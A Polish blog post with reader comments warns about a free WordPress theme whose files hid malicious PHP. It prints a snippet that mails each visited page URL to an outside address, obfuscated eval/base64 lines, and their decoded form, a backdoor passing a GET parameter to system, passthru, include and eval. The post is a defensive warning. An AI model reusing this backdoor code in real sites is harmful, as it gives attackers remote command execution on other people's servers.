Darmowe szablony/skórki WordPress – sprawd? kod zanim wrzucisz na serwer

 

Darmowa skórka WordPress i niespodzianka w kodzie

Wpis z serii Dobre Rady Wuja Toma, przy czym tym razem rady udziela Tomasz Jach – znajomy, który trafi? na ten przypadek i zaproponowa? napisanie tekstu na ten temat. Ku przestrodze dla innych eksperymentuj?cych na swoich blogach.

Oczywi?cie sprawa nie dotyczy wy??cznie WordPress-a i skórek czy pluginów do niego. Trzeba zachowa? ostro?no?? przy korzystaniu z wszystkich mo?liwych skryptów i programów. Wirusy i inne z?o?liwe skrypty czyhaj? wsz?dzie. Zasada ograniczonego zaufania jest stale aktualna. „Everybody lies”, jak by to skwitowa? Dr Gregory House.

Poznajcie skórk? „Nimble”

Poznajcie darmow? skórk? o nazwie Nimble, udost?pnion? przez serwis wpthemespress.com. Theme jest prosty, przejrzysty i elegancki, a? chce si? go wykorzysta? na swoim blogu. W ci?gu ostatniego roku z mo?liwo?ci pobrania jej z tego serwisu skorzysta?o 937 osób.

Nimble: 2 Column Dark Adsense and Widget Ready WordPress Theme.

Professional Web 2.0 Premium WordPress Theme. It’s a very sleak and light weight theme that’s ultra flexible for customization.

Skórka ta jest jednak wyj?tkowa z innego powodu.

functions.php

Plik functions.php znajduj?cy si? w katalogu skórki jest wykonywany przy ka?dym otworzeniu bloga. Zwykle umieszcza si? z nim funkcje, które np. rozszerzaj? mo?liwo?ci konkretnego szablonu. Bardzo przydatna sprawa, sam z niej korzystam. W tym przypadku w tym pliku znalaz?a si? jeszcze jedna dodatkowa „funkcjonalno??”.

Nie b?d? tu przekleja? ca?ego syfiastego skryptu, poniewa? zajmuje sporo miejsca, ale jego fragment widzicie na screenie na pocz?tku tekstu. W ka?dym razie, po przetworzeniu (a skuba?stwo jest niez?e, dekoduje sobie dekodery do dekodowania odpowiednich fragmentów „tekstu”), wywo?a si? co? takiego (Tomek przes?a? mi od razu przetworzone skrypty):

?><?php
$email = 'spameeeeddd@gmail.com <mailto:spameeeeddd@gmail.com>';
$message = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];
$headers = 'MIME-Version: 1.0'."\r\n";
$headers .= 'Content-Type: text/html'."\r\n";
$headers .= 'Content-Transfer-Encoding: quoted-printable'."\r\n";
@mail($email, 'Nimble', $message, $headers);
?><?

Czyli ka?dorazowe wej?cie na bloga powodowa?o ciche wys?anie na okre?lony adres e-mail adresu odwiedzonej podstrony.

Osoba, która opublikowa?a ten theme, otrzymywa?a informacj? gdzie jest wykorzystywana jej skórka. Na skrzynce l?dowa? ka?dy dost?pny na blogu adresik.

Ale to jeszcze nie wszystko

Poprzedni ukryty kod to piku? (a nawet pan piku?) w porównaniu z tym, co mo?na znale?? w pliku comments.php, odpowiedzialnym za generowanie komentarzy na blogu.

<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwKEgsLi7JKCrVUIl3dw2JVs9NLUlUj9VUsAcqAAA=')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwKK4sLknN1VCJd3cNiVbPTS1JVI/VVLAHSgMA')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwSC1LzNFQiXd3DYlWz00tSVSP1VSwB0oCAA==')));?>
<?php eval (gzinflate(base64_decode('s7ezsS/IKFBwyMxLzilNSdVQiXd3DYlWz00tSVSP1VSwB8oDAA==')));?>
<?php // Do not delete these line

A po rozkodowaniu widzimy co? takiego:

?><?php @passthru($_GET['meta']) ?><? //Execute an external program and display raw output
?><?php @system($_GET['meta']) ?><?     //Execute an external program and display the output
?><?php @include($_GET['meta']) ?><? //The include() statement includes and evaluates the specified file.
?><?php @eval($_GET['meta']) ?><? //Evaluate a string as PHP code 

No prosz?, backdoor. Wystarczy wywo?a? stron? z odpowiednio spreparowanym parametrem, a na odpowiednio skonfigurowanym serwerze mo?na zrobi? niez?e kuku.

A adresy wszystkich podatnych stron przecie? mamy na odpowiedniej skrzynce, bo znaleziony w functions.php skrypcik ju? nas poinformowa? gdzie atakowa?.

Odpowied? autora strony na zg?oszenie syfu:

Braydon D’aguiar do Tomasz 05.11.2009 14:28

Shit!!!! Thanks. I had someone managing that site for me and they mist of done it.

Pobra?em te? paczk? z Nimble, nie ma ju? syfu.

Sprawdzaj kod

Sprawdzaj, sprawdzaj i jeszcze raz sprawdzaj kod skórek, pluginów i innych gotowych skryptów, które wrzucasz na swój serwer.

Wszelkie bloki zakodowanego skryptu powinny od razu zapali? w g?owie ostrzegawcz? lampk?. Je?li nie jeste?my w stanie samemu przeanalizowa? ca?ego kodu, pomolestujmy troch? bardziej obeznanych znajomych.

Wpis opublikowany 5 listopada 2009
Tagi: , , , , , , ,
Kategorie: blog, ciekawostki, internet, wordpress, wszystkie

Zobacz również:

Komentarze do wpisu "Darmowe szablony/skórki WordPress – sprawd? kod zanim wrzucisz na serwer"

  1. Taaak, a tyle mówi si? o kodowanych stopkach w szablonach. By? mo?e ten zakodowany fragment faktycznie czasami wy?wietla tylko niewinne linki do autorów, ale na wszelki wypadek wszelkie zakodowane fragmenty kasuj?.
    ;-P

    Autor komentarza, czwartek, 5 Lis 2009 #

  2. 1. zaraz sobie te? sprawdz? kod mojego bloga.
    2. kto by si? spodziewa? czego? takiego…
    3. a gdzie znale?? dekodery wspomniane przez ciebie?

    pzdr,
    m.

    Autor komentarza, czwartek, 5 Lis 2009 #

  3. Ja tylko dodam, ?e ca?o?? rozkodowa?a Iwonka (http://ipol.cyfrowy.net) :)

    @micha?,
    niestety – o ile mi wiadomo, jest to kwestia rozkodowywania ustawicznego przez base64decode (np. PSpad ma tak? mo?liwo?? offline).

    Tak jak Tomek tutaj wspomnia? – ten konkretny przypadek mia? to do siebie, ?e by? kilkukrotnie zakodowany, wi?c trzeba by?o nad tym posiedzie? sporo czasu.

    Autor komentarza, czwartek, 5 Lis 2009 #

  4. Ostatnio us?ysza?em pytanie, dlaczego mam bloga na Blogspocie, a nie na WordPressie. W?a?nie dlatego. Ja tego nie ogarniam, nie rozumiem, nie umiem – i bym sobie tylko krzywd? zrobi?. I cho? kusi mnie czasem przej?cie, to musz? sobie powtarza?, aby nie bra? si? za co?, czego nie umiem. To by? chyba pierwszy wpis u Ciebie, w którym nie zrozumia?em tak wielu fragmentów:) Dobrze, ?e wyt?umaczy?es:)

    Autor komentarza, czwartek, 5 Lis 2009 #

  5. Jak to dobrze, ?e jestem maniakalnym programist?-grzebaczaem :).
    Powiadomili?cie jako? twórców tematu o z?o?liwym kodzie? Mo?e nie s? nawet tego faktu ?wiadomi, a skrypty zosta?y zmodyfikowane podczas np. w?amu na ich serwery? Chyba, ?e w innych tematach z tego serwisu te? s? takie wa?ki :)…

    Autor komentarza, czwartek, 5 Lis 2009 #

    • Da?em zna? przez formularz kontaktowy na stronie. Zobaczymy jaka b?dzie odpowied?.

      Je?li to nie jest ?wiadomy zabieg (przegl?da?em te? kilka innych ich skórek i nie by?o nic niepokoj?cego), to musieli wrzuci? do ?ci?gni?cia podes?any im theme bez dok?adnego sprawdzenia kodu. Ca?a sytuacja dziwna.

      Autor komentarza, czwartek, 5 Lis 2009 #

  6. Ha! a ostatnio trafi?em par? szablonów z kodowanymi stopkami i jako? tak w naturalny sposób w ramach „bhp” je z zakodowanego kodu wyczy?ci?em… teraz czas sprawdzi? reszt? ;]

    Przy okazji z tego miejsca chcia?em pozdrowi? Iwon? i Tomka J. – ?wiat jest ma?y :D

    Autor komentarza, czwartek, 5 Lis 2009 #

  7. jestem w lekkim szoku po tym co przeczyta?em. czy problem dotyczy te? szablonów z bloggera? i czy taka dzia?alno?? zawsze pozostaje niewykrywalna? (mam na my?li np. funkcj? oznaczania bezpiecznych i gro?nych stron przez firefoksa, wiecie, znaczki w wynikach googla).

    Autor komentarza, czwartek, 5 Lis 2009 #

  8. @radar – Google dba o u?ytkowników, jego ostrze?enia dotycz? wirusów i innej podejrzanej tre?ci, nie ma to zwi?zku z opisanym problemem, wi?c ostrze?e? te? nie b?dzie.

    Autor komentarza, czwartek, 5 Lis 2009 #

  9. czyli nie ma szans na wykrycie takich kwiatków „z automatu”? trzeba samemu przejrze? kod?

    Autor komentarza, czwartek, 5 Lis 2009 #

    • Google jest w stanie zaalarmowa? Ci? w sytuacji, gdy jaka? strona wysy?a niebezpieczny kod do przegl?darki internauty. Opisywana tu sytuacja w ca?o?ci odbywa si? na serwerze w?a?ciciela bloga, „od kuchni”. Do przegl?darki czytelnika nie jest nic wysy?ane, nikt postronny si? nie dowie, ?e co? jest nie tak.

      Autor komentarza, czwartek, 5 Lis 2009 #

    • Exploit Scanner mo?e przeskanowa? pliki szablonu i baz? danych w poszukiwaniu szkodliwego kodu.

      Autor komentarza, czwartek, 5 Lis 2009 #

  10. Internet jest jednak z?y. ;-) Pozdrowienia dla Tomasza J. ;-)

    Autor komentarza, czwartek, 5 Lis 2009 #

  11. Dlatego najlepiej tworzy? w?asne templatki na bazie standardowych, cho? w Joomla! w ramach standardowych skórek pojawia?y si? równie? takie z dziurami. WordPress jest o tyle gorszy od Joomli, ?e w kodzie jego templatek bezkarnie mo?e wyst?powa? PHP – Joomla owszem pozwala na to, ale nikt tego nie u?ywa w templatkach dla zwyk?ych u?ytkowników systemu :)

    Autor komentarza, czwartek, 5 Lis 2009 #

    • Je?li tylko gdzie? jest mo?liwo?? wepchni?cia nie?wiadomym internautom syfu, to trzeba na takie syfy uwa?a?.

      Ju? pierwsze zabawy z PHP-Nuke (o rany, ile to lat temu by?o! jak ten czas szybko leci…) nauczy?y mnie, ?e takie popularne, darmowe systemy to siedlisko wszystkiego z?ego. Kiedy? PHP-Nuke, pó?niej Mambo, Joomla, teraz WordPress – naturalna kolej rzeczy.

      Autor komentarza, czwartek, 5 Lis 2009 #

  12. No s?abo! Nigdy bym nie pomy?la? o tym, ?eby sprawdza? szablon czy kto? w nim nie zachachm?ci? :)

    Autor komentarza, czwartek, 5 Lis 2009 #

  13. Uaktualni?em wpis, uzupe?ni?em o odpowied? admina tej strony, która udost?pni?a skórk?. Chyba by? zaskoczony.

    Autor komentarza, czwartek, 5 Lis 2009 #

    • A jaki mia? by?? Przecie? nie powiedzia?by czego? w stylu: „sorry, faktycznie, wrzucili?my wirusa, ale jeste? lepszy od nas”. ;]

      A tak na powa?nie, to trudno sprawdzi? taki szablon, bo czasem te stopki s? tak „zaszyte”, ?e to kwestia przypadku, czy znajdziemy odpowiedni fragment, czy nie.

      Autor komentarza, poniedziałek, 21 Gru 2009 #

  14. Z jednej strony wrzucanie wirusów uwa?am za ?wi?stwo, ale z drugiej dekodowanie kodu i usuwanie np. linków do stron autorów uwa?am za ?wi?stwo. Nie po to cz?owiek zasuwa pare dni, aby stworzy? dobry szablon, ?eby pó?niej nie czerpa? korzy?ci z tych kilku linków które do niego prowadz?.

    Autor komentarza, wtorek, 10 Lis 2009 #

  15. Masz racj?, ale zobacz co si? dzieje na Allegro – nie mo?na ju? konkurowa? z „nimi” cen?, bo go?cie za 50z? sprzedaj? gotowe, poci?te szablony. Inna sprawa, ?e jest to bezczelnie kradzione z joomlaos.de czy innych serwisów z templatkami. Kto? taki wystawia aukcj?, kradnie szablon i sprzedaje go za 50z?. W pó? godziny spokojnie si? wyrobi: 100z?/godzin? – niesamowita pensja jak na kogo?, kto nigdy nie zajmowa? si? programowaniem webowym… Ale tu ju? zbli?amy si? do niebezpiecznego tematu – „ceny zlece? za strony www”, wi?c nie ci?gmy tego tematu ;)

    Autor komentarza, wtorek, 10 Lis 2009 #

    • No, jumanie darmowych gotowców i sprzedawanie ich za grosze to inna plaga.

      Zakodowane stopki czy systemy licencyjne te? rozumiem, ka?dy producent stara si? zabezpieczy? swoje interesy. I te? mi si? zdarza?o rozkodowywa? takie skrypty i usuwa? zabezpieczenia ?eby spokojnie popracowa? nad danym skryptem na domowym serwerku :)

      Autor komentarza, środa, 11 Lis 2009 #

  16. Cze?? Tomek :)
    Znam Twój Blog i czasem tu zagl?dam, jednak do tej pory jako turysta. Teraz znowu tu wpad?em, tym razem szukaj?c dodatkowych „dingsów” do implementacji w mojej zabawce, która jest zbiorem dekoderów/koderów. Jestem webasterem, sam pisz? skórki do ró?nych cms’ów i znam ten temat od do?? dawna. W tym przypadku autor tego stylu, móg? ?atwo przej?? ofiar? i mia? kompendium wiedzy o swoich ofiarach via email.
    Jest pe?no tzw. darmowych styli i proceder ukrywania kodu trwa. S? g?osy, ?e rozkodywanie, to ?amanie licencji, praw autorskich itp bzdety. Jestem odmiennego zdania. Wyobra?my sobie, ?e jaki? np. duchowny prowadzi Blog. Podoba mu si? styl i go instaluje. Nie wie, ?e w kodzie stopy s? ukryte linki, które referuj? do stron np. o viagrze, powi?kszaniu ogórka, czy casyna itd.. Mo?na by rzec, ?e to nie moralne, skoro kto? pisze w kodzie, ?e edycja to ?amanie praw autorskich, a zaraz po tym leci zamaskowany kod. Mamy wi?c sytuacj? patow?. Rozkodowa? czy nie? Trzeba sobie u?wiadomi?, ?e s? ludzie, którzy ?eruj? na nie?wiadomo?ci innych ludzi, na ich naiwno?ci czy uczciwo?ci itd. Jestem zdania, ?e mam prawo wiedzie? co jest ukrywane w stylu, który mam zamiar u siebie zastosowa?. Nie mam zamiaru ?ama? licencji, ale chc? wiedzie?, je?li jest ok, to wporzo, a je?li nie? To nawet jakby by?o ze szczerego z?ota wysadzanego brylantami, to l?duje w koszu, mo?e z wi?kszym brzd?kiem.. Do tego te? mam prawo.
    Dlatego ciesz? si?, ?e trafiam na kolejny artyku? u?wiadamiaj?cy ludziom realne zagro?enia ich prywatno?ci, jak równie? zniszczenia ich pracy.
    Zajmuj? si? hobbystycznie pomoc? dla skryptu forum SMF, ale takie zagadki z kodem rozwi?zuj? od dawna, (tylko w komercyjnych klimatach, wi?c linkami nie rzucam..), i teraz na moje forum, równie? trafi?y pro?by o rozkodowanie kodu. Postanowi?em, ?e udost?pni? swoj? zabawk?, któr? u?ywa?em zazwyczaj na localho?cie. Jest to zbiór ró?nych dekoderów, cz??? jest mojego pomys?u, reszt? mam w ramkach, ale to dozwolone w tym wypadku, nie ?ami? niczyich praw autorskich, zreszt? wsz?dzie poda?em linki bezpo?rednie.
    Na moim forum pro?by pojawi?y tu: http://poligon.ricoroco.com/fora/smf/index.php?board=30.0 Mo?na te? tam zada? pytania, je?li kto? mia?by problemy z kodem lub nie potrafi? si? pos?u?y? dekoderem lub mia? w?asne tipsy. Sam dekoder udost?pniam np. tu: http://poligon.ricoroco.com/fora/smf/index.php?action=decoder zreszt? na stronie g?. równie? jest link.
    Tomku, to nie jest autoreklama, nie zale?y mi na tym i tak Pani w okoolarach u mnie ci?gle nocuje :) Poszukuje jeszcze dodatkowych rozwi?za?, ale s?dz?, ?e przy tym co ju? tam jest w 90% przypadków uda si? rozkodowa? zamaskowany kod i mam nadziej?, ?e zabawka wam si? przyda, je?li tak, to pro?ba: „podaj dalej”. Mam nie limitowane transfery, wi?c nie obawiam si? przeci??e?.
    Je?li kto? zabawia si? swoim Wp, testuje, bawi si? nim, configuruje itd.. to polecam wtyczk? któr? mo?na zeskanowa? wszystkie style pod k?tem ukrytego kodu i go wy?wietla ze wskazaniem dok?adnym miejsca. Wtyczka nazywa si? TAC i jest to skrót od ang. Theme Authenticity Checker, przydatna rzecz i sam z niej korzystam, link: http://builtbackwards.com/projects/tac/
    Polec? jeszcze fajn? stronk?, któr? ka?dy bloger na skrypcie WP powinien przeczyta? z uwag?: http://www.hungry-hackers.com/2010/01/43-excellent-wordpress-security-tips-and-plugins.html
    Okay, rozpisa?em si? troch? sorka, ale mam nadzieje, ?e oka?e si? to pomocne wielu nie?wiadomym Blogerom.
    Uwa?am, ?e – jak mo?na ukrywa? w stylach kod w czasie, kiedy ci?gle dochodzi do tylu w?amów na WP i ci?gle mamy nowe wersje, nie powinno to by? zabronione?
    Zapraszam do mojej zabawki i pozdrawiam bra? blogersk?, Ciebie te? Tomku, jak dla mnie, to jeste? pozytywnie zakr?conym Blogersem ;)
    roco
    PS. Traktuj ten wpis jak chcesz, je?li uwa?asz, ?e co? z nim nie tak, to nie kr?puj si? go wyci??.

    Autor komentarza, wtorek, 26 Sty 2010 #

  17. Szukasz naprawd? darmowej strony ? Darmowe strony dla firm.

    Autor komentarza, sobota, 20 Mar 2010 #

Robisz zakupy w internecie?
Pomagaj ZA DARMO przy okazji
4000 organizacji społecznych i ponad 1000 sklepów